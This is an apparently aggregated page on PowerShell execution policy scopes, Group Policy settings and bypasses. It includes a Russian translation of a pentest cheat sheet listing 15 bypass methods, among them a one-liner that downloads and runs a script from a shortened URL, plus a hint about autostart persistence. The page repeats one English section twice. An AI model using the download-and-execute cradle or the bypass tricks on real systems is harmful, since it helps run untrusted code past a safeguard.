Оболочка windows powershell успешно обновила вашу политику

Skip to content

The error message indicates that the setting you’re trying to define via Set-ExecutionPolicy is overridden by a setting in another scope. Use Get-ExecutionPolicy -List to see which scope has which setting.

PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process          Undefined
  CurrentUser          Undefined
 LocalMachine       RemoteSigned

PS C:> Set-ExecutionPolicy Restricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process         Restricted
  CurrentUser       Unrestricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
.test.ps1 : File C:test.ps1 cannot be loaded because running scripts is
disabled on this system. ...
PS C:> Set-ExecutionPolicy Unestricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Restricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process       Unrestricted
  CurrentUser         Restricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
Hello World!

As you can see, both settings were defined despite the error, but the setting in the more specific scope (Process) still takes precedence, either preventing or allowing script execution.

Since the default scope is LocalMachine the error could be caused by a setting in the CurrentUser or Process scope. However, a more common reason is that script execution was configured via a group policy (either local or domain).

A local group policy can be modified by a local administrator via gpedit.msc (Local Group Policy Editor) as described in this answer.

A domain group policy cannot be superseded by local settings/policies and must be changed by a domain admin via gpmc.msc (Group Policy Management) on a domain controller.

For both local and domain policies the setting can be defined as a computer setting:

Computer Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

or as a user setting:

User Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

The former are applied to computer objects, whereas the latter are applied to user objects. For local polices there is no significant difference between user and computer policies, because user policies are automatically applied to all users on the computer.

A policy can have one of three states (or five states if you count the 3 settings available for the state Enabled separately):

• Not Configured: policy does not control PowerShell script execution.
• Enabled: allow PowerShell script execution.
  • Allow only signed scripts: allow execution of signed scripts only (same as Set-ExecutionPolicy AllSigned).
  • Allow local scripts and remote signed scripts: allow execution of all local scripts (signed or not) and of signed scripts from remote locations (same as Set-ExecutionPolicy RemoteSigned).
  • Allow all scripts: allow execution of local and remote scripts regardless of whether they’re signed or not (same as Set-ExecutionPolicy Unrestricted).
• Disabled: disallow PowerShell script execution (same as Set-ExecutionPolicy Restricted).

Changes made via Set-ExecutionPolicy only become effective when local and domain policies are set to Not Configured (execution policy Undefined in the scopes MachinePolicy and UserPolicy).

The error message indicates that the setting you’re trying to define via Set-ExecutionPolicy is overridden by a setting in another scope. Use Get-ExecutionPolicy -List to see which scope has which setting.

PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process          Undefined
  CurrentUser          Undefined
 LocalMachine       RemoteSigned

PS C:> Set-ExecutionPolicy Restricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process         Restricted
  CurrentUser       Unrestricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
.test.ps1 : File C:test.ps1 cannot be loaded because running scripts is
disabled on this system. ...
PS C:> Set-ExecutionPolicy Unestricted -Scope Process -Force
PS C:> Set-ExecutionPolicy Restricted -Scope CurrentUser -Force
Set-ExecutionPolicy : Windows PowerShell updated your execution policy
successfully, but the setting is overridden by a policy defined at a more
specific scope.  Due to the override, your shell will retain its current
effective execution policy of Restricted. Type "Get-ExecutionPolicy -List"
to view your execution policy settings. ...
PS C:> Get-ExecutionPolicy -List

        Scope    ExecutionPolicy
        -----    ---------------
MachinePolicy          Undefined
   UserPolicy          Undefined
      Process       Unrestricted
  CurrentUser         Restricted
 LocalMachine       RemoteSigned

PS C:> .test.ps1
Hello World!

As you can see, both settings were defined despite the error, but the setting in the more specific scope (Process) still takes precedence, either preventing or allowing script execution.

Since the default scope is LocalMachine the error could be caused by a setting in the CurrentUser or Process scope. However, a more common reason is that script execution was configured via a group policy (either local or domain).

A local group policy can be modified by a local administrator via gpedit.msc (Local Group Policy Editor) as described in this answer.

A domain group policy cannot be superseded by local settings/policies and must be changed by a domain admin via gpmc.msc (Group Policy Management) on a domain controller.

For both local and domain policies the setting can be defined as a computer setting:

Computer Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

or as a user setting:

User Configuration
`-Administrative Templates
  `-Windows Components
    `-Windows PowerShell -> Turn on Script Execution

The former are applied to computer objects, whereas the latter are applied to user objects. For local polices there is no significant difference between user and computer policies, because user policies are automatically applied to all users on the computer.

A policy can have one of three states (or five states if you count the 3 settings available for the state Enabled separately):

• Not Configured: policy does not control PowerShell script execution.
• Enabled: allow PowerShell script execution.
  • Allow only signed scripts: allow execution of signed scripts only (same as Set-ExecutionPolicy AllSigned).
  • Allow local scripts and remote signed scripts: allow execution of all local scripts (signed or not) and of signed scripts from remote locations (same as Set-ExecutionPolicy RemoteSigned).
  • Allow all scripts: allow execution of local and remote scripts regardless of whether they’re signed or not (same as Set-ExecutionPolicy Unrestricted).
• Disabled: disallow PowerShell script execution (same as Set-ExecutionPolicy Restricted).

Changes made via Set-ExecutionPolicy only become effective when local and domain policies are set to Not Configured (execution policy Undefined in the scopes MachinePolicy and UserPolicy).

Добрый день.

Вопрос 1:Написал скрипт для создания ярлыков.. в политике на OU с пользователем в сценарии powershell прописан так:

имя сценария: \pc1ScriptsPowerShellCreateLinks.ps1

параметры: -noprofile -command

При загрузке из под пользователя в Win7 все работает, а вот при Win8 запуске ничего непроисходит. Причем запуск вручную выдает ошибку,

Set-ExecutionPolicy : Оболочка Windows PowerShell успешно обновила вашу политику выполнения, но данный параметр переопр
еделяется политикой, определенной в более конкретной области. В связи с переопределением оболочка сохранит текущую поли
тику выполнения «Unrestricted». Для просмотра параметров политики выполнения введите «Get-ExecutionPolicy -List». Для п
олучения дополнительных сведений введите «Get-Help Set-ExecutionPolicy».
строка:1 знак:46
+ if((Get-ExecutionPolicy ) -ne ‘AllSigned’) { Set-ExecutionPolicy -Scope Process  …
+                                              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
    + FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand

В чем проблема? При использовании invoke-command подтвердилось.

Косяк в версиях PowerShell?

И вопрос 2: при выборе в политике сценарии powershell окно не появляется…Оттуда окно консоли не мигает?

И для чего нужна команда -windowstyle hidden

Спасибо

Данный материал является переводом оригинальной статьи «NetSPI : Scott Sutherland : 15 Ways to Bypass the PowerShell Execution Policy».

По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для пентестеров, системных администраторов и разработчиков, но это не обязательно. В этой статье я расскажу о 15 способах обхода политики выполнения PowerShell, не имея прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но надеюсь, что эта шпаргалка станет хорошим началом для тех, кто нуждается в получении информации о методах обхода.

Что такое политика выполнения PowerShell?

Политика выполнения PowerShell — это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию установлено значение «Restricted (Ограничено)», что в основном означает «нет». Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. На самом деле он был предназначен для того, чтобы администраторы «не стреляли себе в ногу». Вот почему есть так много вариантов, чтобы обойти этот механизм (в том числе включая несколько вариантов, которые предоставила Microsoft). Для получения дополнительной информации о параметрах политики выполнения и других элементах безопасности по умолчанию в PowerShell я предлагаю прочитать интересный обзор в блоге Карлоса Переса.

Почему я хочу обойти политику выполнения?

Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди администраторов, пентестеров и хакеров.

PowerShell — это:

• Нативный для Windows механизм;
• Возможность вызова Windows API;
• Возможность запуска команд без записи на диск;
• Возможность избежать обнаружения антивирусным ПО;
• Уже отнесён как «доверенный» в «белых» списках большинства приложений;
• Среда, используемая для написания множества инструментов Pentest с открытым исходным кодом.

Как просмотреть политику выполнения

Прежде чем использовать все замечательные функции, которые может предложить PowerShell, придется обойти «ограниченную» политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell «Get-ExectionPolicy». Если вы смотрите на настройку в первый раз, скорее всего, она установлена на «Restricted», как показано ниже.

Get-ExecutionPolicy

Стоит также отметить, что политика выполнения может быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду Set-ExecutionPolicy.

Get-ExecutionPolicy -List | Format-Table -AutoSize

Примечания по настройке лаборатории

В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:

Write-Host "My voice is my passport, verify me."

Когда я пытаюсь выполнить его в системе, настроенной с помощью политики выполнения по умолчанию, я получаю следующую ошибку.

Если ваша текущая политика слишком открыта, и вы хотите сделать ее более строгой, чтобы протестировать приведенные ниже методы, запустите команду из консоли администратора PowerShell:

Set-ExecutionPolicy Restricted

Хорошо, хватит болтовни, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.

Обход политики выполнения PowerShell

1. Вставка сценария в интерактивную консоль PowerShell

Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск

2. Отправка сценария в PowerShell через Echo

Просто добавьте ваш сценарий (ECHO) в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

3. Считывание скрипта из файла и отправка в стандартный ввод PowerShell

Используйте команду «type» для Windows или PowerShell «Get-Content», чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на локальный диск.

Пример 1: команда Get-Content PowerShell

Get-Content .runme.ps1 | PowerShell.exe -noprofile -

Пример 2: команда Type

TYPE .runme.ps1 | PowerShell.exe -noprofile -

4. Скачивание скрипта из URL и выполнение с выражением Invoke

Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

5. Использование опции -Command

Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это можно сделать без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Пример 1: Полная команда

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Пример 2: Короткая команда

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей), чтобы помочь во время повышения привилегий.

6. Использование опции -EncodedCommand

Это очень похоже на предыдущую опцию «-Command», но все сценарии предоставляются в виде строки в кодировке Unicode/base64. Такое кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании «-Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя приятный небольшой метод сжатия, позволяющий уменьшить размер закодированных команд, если они становятся слишком длинными.

Пример 1: Полная команда

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

Пример 2: Короткая команда с использованием закодированной строки

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. Использование команды Invoke-Command

Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью опции «-Command». Но интересно то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Invoke-Command -scriptblock {Write-Host "My voice is my passport, verify me."}

Приведенная ниже команда также может быть использована для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.

Invoke-Command -computername Server01 -scriptblock {get-executionpolicy} | Set-executionpolicy -force

8. Использование команды Invoke-Expression

Это еще один способ, который обычно выполняется через интерактивную консоль PowerShell или однострочник с помощью опции «-Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования выражения-выражения для обхода политики выполнения.

Пример 1: Полная команда с использованием Get-Content

Get-Content .runme.ps1 | Invoke-Expression

Пример 2: Короткая команда с использованием Get-Content

GC .runme.ps1 | iex

9. Использование флага политики выполнения «Bypass»

Это хороший флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что «Ничто не заблокировано и нет предупреждений или подсказок». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

10. Использование флага политики выполнения «Unrestricted»

Это похоже на флаг «Bypass». Однако, когда этот флаг используется, Microsoft заявляет, что «загружает все файлы конфигурации и запускает все сценарии. Если вы запускаете неподписанный скрипт, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1

11. Использование флага политики выполнения «Remote-Signed»

Создайте сценарий и следуйте инструкциям, написанным Карлосом Пересом, чтобы подписать его. Наконец, запустите его, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. Отключение ExecutionPolicy с заменой AuthorizationManager

Это действительно творческий способ, с которым я столкнулся на nivot.org. Приведенную ниже функцию можно выполнить через интерактивную консоль PowerShell или с помощью опции «-Command». Как только функция вызывается, она заменяет «AuthorizationManager» на Null. В результате политика выполнения, по существу, устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.

function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy  
.runme.ps1

13. Установка ExcutionPolicy для области действия Process

Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-ExecutionPolicy Bypass -Scope Process

14. Установка ExcutionPolicy для области действия CurrentUser с помощью команды

Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

15. Установка ExcutionPolicy для области CurrentUser через реестр

В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.

HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

Подведение итогов

Ключевым моментом этой стати является то, что политика выполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не позиционировала этот механизм для контроля безопасности. Именно поэтому существует такое множество вариантов обхода данного механизма. Помимо того, что сама Microsoft предоставила некоторые нативные варианты, сообщество безопасности также придумало некоторые оригинальные трюки. Спасибо всем тем людям, которые внесли в это свой вклад через блоги и презентации.

По-умолчанию настройки Windows запрещают запуск скриптов PowerShell. Это необходимо для предотвращения запуска вредоносного кода на PowerShell. Настройки политик запуска PowerShell скриптов определяются в Execution Policy. В этой статье мы рассмотрим доступные политики запуска PS скриптов, как изменить Execution Policy и настроить политики использования PowerShell скриптов на компьютерах в домене.

Выполнение PowerShell скриптов запрещено для данной системы

При попытке выполнить PowerShell скрипт (файл с расширением PS1) на чистой Windows 10, появляется ошибка:

File C:ps.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess

Не удается загрузить файл.ps1, так как выполнение скриптов запрещено для данной системы.

Текущее значение политики выполнения скриптов PowerShell на компьютере можно получить командой:

Get-ExecutionPolicy

Доступны следующие значения PowerShell Execution Policy:

• Restricted – запрещен запуск скриптов PowerShell, можно выполнять только интерактивные команды в консоли;
• AllSigned – разрешено выполнять только подписанные PS скрипты с цифровой подписью от доверенного издателя (можно подписать скрипт самоподписанным сертификатом и добавить его в доверенные). При запуске недоверенных скриптов появляется предупреждение:

  Do you want to run software from this untrusted publisher? File .ps1 is published by CN=test1 and is not trusted on your system. Only run scripts from trusted publishers

  

• RemoteSigned – можно запускать локальные PowerShell скрипты без ограничения. Можно запускать удаленные PS файлы с цифровой подписью (нельзя запустить PS1 файлы, скачанные из Интернета, запущенные из сетевой папки по UNC пути и т.д.);
• Unrestricted – разрешен запуск всех PowerShell скриптов;

  При запуске сторонних PowerShell скриптов может появляется предупреждение с подтверждением запуска, см. ниже.

• Bypass – разрешён запуск любых PS файлов (предупреждения не выводятся) – эта политика обычно используется для автоматического запуска PS скриптов без вывода каких-либо уведомлений (например при запуске через GPO, SCCM, планировщик и т.д.) и не рекомендуется для постоянного использования;
• Default – сброс настроек выполнения скриптов на стандартную;

  В Windows 10 значение политики выполнения PowerShell по-умолчанию Restricted, а в Windows Server 2016 — RemoteSigned.

• Undefined – не задано. Применяется политика Restricted для десктопных ОС и RemoteSigned для серверных.

Как разрешить запуск скриптов PowerShell с помощью Execution Policy?

Чтобы изменить текущее значение политики запуска PowerShell скриптов, используется командлет Set-ExecutionPolicy.

Например, разрешим запуск локальных скриптов:

Set-ExecutionPolicy RemoteSigned

Подтвердите изменение политики запуска PS1 скриптов, нажав Y или A.

Чтобы запрос не появлялся, можно использовать параметр Force.

Set-ExecutionPolicy RemoteSigned –Force

Если вы установили значение политики PowerShell Execution Policy в Unrestricted, то при запуске удаленных скриптов из сетевых каталогов по UNC пути, скачанных из интернета файлов, все равно будет появляться предупреждение:

Security warning
Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the
Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run?
[D] Do not run [R] Run once [S] Suspend [?] Help (default is "D")

Как PowerShell различает локальные и удаленные скрипты? Все дело в идентификаторе зоны ZoneId, которую выставляет браузер в альтернативном потоке при загрузке файла (см. статью “Как Windows определяет, что файл скачан из Интернета?”). Вы можете разблокировать такой файл, поставив галку “Разблокирвать” в его свойствах или очиститься метку зоны с помощью комадлета Unblock-File.

Также следует различать различные области действия политик выполнения скриптов PowerShell (scopes):

• MachinePolicy – действует для всех пользователей компьютера, настраивается через GPO;
• UserPolicy – действует на пользователей компьютера, также настраивается через GPO;
• Process — настройки ExecutionPolicy действует только для текущего сеанса PowerShell.exe (сбрасываются при закрытии процесса);
• CurrentUser – политика ExecutionPolicy применяется только к текущему пользователю (параметр из ветки реестра HKEY_CURRENT_USER);
• LocalMachine – политика для всех пользователей компьютера (параметр из ветки реестра HKEY_LOCAL_MACHINE);

Область применения политики можно указать с помощью параметр Scope командлета Set-ExecutionPolicy. Например:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass –Force

Проверим текущие настройки ExecutionPolicy для всех областей:

Get-ExecutionPolicy -List

Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Bypass
CurrentUser Undefined
LocalMachine RemoteSigned

Значение политики выполнения, которые вы задаете с помощью командлета Set-ExecutionPolicy для областей CurrentUser и LocalMachine, хранятся в реестре. Например, выполните командлет:

Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Restricted –Force

Откройте ветку реестра HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell и проверьте значение REG_SZ параметра ExecutionPolicy. Оно изменилось на Restricted (допустимые значения параметра Restricted, AllSigned, RemoteSigned, Bypass, Unrestricted и Undefined).

Аналогичные настройки для области CurrentUser находятся в разделе реестра пользователя HKEY_CURRENT_USERSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell.

Отметим, что чаще всего в корпоративной среде используется ExecutionPolicy со значением AllSigned на уровне LocalMachine. Это обеспечивает максимальный баланс между безопасностью и удобством. Для личного пользования на компьютере можно использовать RemoteSigned. Ну а Bypass политику лучше использовать только для запуска отдельных задач (например для запуска скриптов через GPO или заданий планировщика).

Настройка PowerShell Execution Policy с помощью групповых политик

Вы можете настроить политику выполнения PowerShel скриптов на серверах или компьютерах домена с помощью групповых политик.

1. С помощью редактора доменных GPO (gpmc.msc) создайте новую GPO (или отредактируйте) существующую и назначьте ее на OU с компьютерами, к которым нужно применить политику запуска PowerShell скриптов;
2. В редакторе политики перейдите в раздел Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell и найдите политику Turn on Script Execution (Включить выполнение сценариев);

   Аналогичная политика есть в пользовательском разделе GPO — User Configuration, но политика компьютера имеет приоритет.

3. Для политики доступны три значения:
   • Allow only signed scripts (Разрешать только подписанные сценарии) — соответствует политике AllSigned;
   • Allow local scripts and remote signed scripts (Разрешать локальные и удаленные подписанные сценарии) — соответствует политике PS RemoteSigned;
   • Allow all scripts (Разрешать все сценарии) — политика Unrestricted.
4. Выберите необходимое значение политики, сохраните GPO и обновите политики на компьютере.
5. Проверьте, что для области MachinePolicy теперь действуют новые настройки выполнения.

После настройки политики выполнения через GPO вы не сможете изменить настройки политики выполнения скриптов вручную. При попытке изменить настройки Execution Policy на компьютере, на который применяется такая GPO, появится ошибка:

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope. Due to the override, your shell will retain its current effective execution policy of RemoteSigned. Type "Get-ExecutionPolicy -List" to view your execution policy settings.

Способы обхода политики PowerShell Execution

Есть несколько трюков, которые могут помочь вам, когда нужно запустить на компьютере PowerShell скрипт, не изменяя настройки политики выполнения. Например, я хочу запустить простой PS1 скрипт, который поверяет, что запущен с правами администратора.

Можно с помощью Get-Content получить содержимое скрипта и перенаправить его в стандартныq поток ввода консоли PS.

Get-Content c:pscheck_process_elevation.ps1 | PowerShell.exe -noprofile –

Либо можно запустить новый процесс powershell.exe с политикой выполнения Bypass:

powershell.exe -noprofile -executionpolicy bypass -file c:pscheck_process_elevation.ps1